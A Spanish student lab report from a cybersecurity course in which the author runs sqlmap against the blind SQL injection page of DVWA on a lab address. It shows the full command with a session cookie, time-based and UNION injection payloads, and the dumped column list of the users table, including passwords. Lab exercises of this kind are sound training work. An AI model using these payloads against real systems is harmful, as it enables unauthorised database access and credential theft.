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# PUESTA EN PRODUCCIÓN SEGURA

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Unidad 4. Actividad 10



8 DE FEBRERO DE 2024  
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ESPECIALIZACIÓN DE CIBERSEGURIDAD

## Índice

Enunciado.....	2
Ejercicio.....	2

## Enunciado

Repita los pasos anteriores y realice un ataque con sqlmap a “SQL Injection (Blind)”.

## Ejercicio.

Usamos sqlmap:

```
(kali@kali)-[~]
└─$ sqlmap -u "http://10.0.3.10/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=mql6jac5mhtSord8bht26176v5" -D dwva -T use
rs --columns
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicab
le local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:16:03 /2024-02-08/

Payload: 10=1' AND (SELECT 4389 FROM (SELECT(SLEEP(5)))RCXN) AND '1cq = 1cq0$Submit=Submit
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x7171627671,0x53466d6c57544c6e4a4d726d544644415575456e6c56614c54456f675362427554437541417a4251,0x71626b7671)
--$Submit=Submit
[15:16:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.12
[15:16:03] [INFO] fetching columns for table 'users' in database 'dwva'
[15:16:03] [WARNING] reflective value(s) found and filtering out
Database: dwva
Table: users
[6 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| user   | varchar(15) |
| avatar | varchar(70) |
| first_name | varchar(15) |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+-----+-----+
[15:16:03] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.0.3.10'
[*] ending @ 15:16:03 /2024-02-08/
```